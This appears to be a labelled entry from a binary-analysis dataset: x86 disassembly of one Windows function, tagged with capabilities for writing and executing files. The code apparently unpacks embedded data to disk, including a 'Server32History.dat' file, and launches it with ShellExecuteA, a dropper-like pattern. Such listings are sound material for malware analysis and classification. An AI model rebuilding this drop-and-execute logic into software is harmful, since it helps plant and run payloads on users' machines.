Function at 0x401d90
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.00403550
push ebx
push ebp
mov ebp, dword [esp + 0x101c]
push esi
push edi
mov edi, dword [esp + 0x1020]
push ebp
push edi
push 0x405030
push 0x405010
mov dword [esp + 0x28], 0
call fcn.004011b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40212a
mov eax, dword [esi + 0xc8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esp + 0x14], eax
mov eax, dword [0x40527c]
add esp, 4
test eax, eax
je 0x401e46
push ebp
push edi
push 0
push 0x405030
call fcn.004011b0
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x401e0a
mov dword [0x40527c], eax
mov ecx, dword [ebx + 0xc8]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
test edi, edi
mov dword [esp + 0x18], edi
je 0x40212a
mov ecx, dword [ebx + 0xc8]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov edi, dword [esp + 0x1020]
jmp 0x401e4a
mov ebx, dword [esp + 0x18]
push ebp
push edi
push 0x405030
push 0x405020
call fcn.004011b0
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x40212a
mov eax, dword [ebp + 0xc8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [esp + 0x14]
add esp, 4
test edi, edi
mov dword [esp + 0x14], eax
je 0x40212a
test eax, eax
je 0x40212a
mov ecx, dword [esi + 0xc8]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp + 0xc8]
mov edi, dword [esp + 0x14]
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
lea edx, [esi + 0xcc]
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x10]
mov ecx, dword [esi + 0xc8]
push eax
push ecx
push edx
call fcn.00402e10
mov eax, dword [esp + 0x20]
mov ecx, dword [ebp + 0xc8]
push eax
lea edx, [ebp + 0xcc]
push ecx
push edx
call fcn.00402e10
mov eax, dword [0x40527c]
add esp, 0x18
test eax, eax
je 0x401f16
mov eax, dword [esp + 0x18]
mov ecx, dword [ebx + 0xc8]
push eax
lea edx, [ebx + 0xcc]
push ecx
push edx
call fcn.00402e10
add esp, 0xc
push esi
push 0x405040
lea eax, [esp + 0x824]
push str._s_s
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0x82c]
push 0x40531c
push ecx
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 0x18
test edi, edi
je 0x401f81
mov edx, dword [esi + 0xc8]
mov eax, dword [esp + 0x10]
push edi
push edx
push 1
push eax
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x14
lea ecx, [esp + 0x81c]
push 0
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [esp + 0x10]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x40527c]
add esp, 4
test eax, eax
je 0x40204d
push ebx
push str.utemp_
lea eax, [esp + 0xc24]
push str._s_s
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0xc2c]
push 0x40531c
push ecx
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 0x18
test edi, edi
je 0x402040
mov edx, dword [ebx + 0xc8]
mov eax, dword [esp + 0x18]
push edi
push edx
push 1
push eax
call sub.MSVCRT.dll_fwrite
mov ecx, dword [ebx + 0xc8]
push ebx
mov dword [esp + 0x24], ecx
call fcn.00402600
mov edx, dword [esp + 0x24]
push edi
add edx, 0xdc
lea eax, [ebx - 0x10]
push edx
push 1
push eax
call sub.MSVCRT.dll_fwrite
push ebx
call fcn.00402630
mov ebx, dword [esi + 0xc8]
push esi
call fcn.00402600
add ebx, 0xdc
push edi
push ebx
lea ecx, [esi - 0x10]
push 1
push ecx
call sub.MSVCRT.dll_fwrite
push esi
call fcn.00402630
add esp, 0x40
push edi
call sub.MSVCRT.dll_fclose
add esp, 4
mov edx, dword [esp + 0x18]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea eax, [esp + 0x41c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40207e
mov ecx, dword [esp + 0x14]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100c
ret
call fcn.00403210
push eax
lea edx, [esp + 0x20]
push str._sServer32History.dat
push edx
call sub.MSVCRT.dll_sprintf
lea eax, [esp + 0x28]
push 0x40531c
push eax
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 0x14
test esi, esi
je 0x4020c8
mov ecx, dword [ebp + 0xc8]
mov edx, dword [esp + 0x14]
push esi
push ecx
push 1
push edx
call sub.MSVCRT.dll_fwrite
push esi
call sub.MSVCRT.dll_fclose
add esp, 0x14
mov eax, dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
lea ecx, [esp + 0x420]
push ecx
call fcn.00402f90
mov eax, dword [0x40527c]
add esp, 8
test eax, eax
je 0x402113
lea edx, [esp + 0xc1c]
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x420]
push eax
push ecx
call fcn.00402140
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100c
ret
lea edx, [esp + 0x1c]
push 0
lea eax, [esp + 0x420]
push edx
push eax
call fcn.00402140
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100c
ret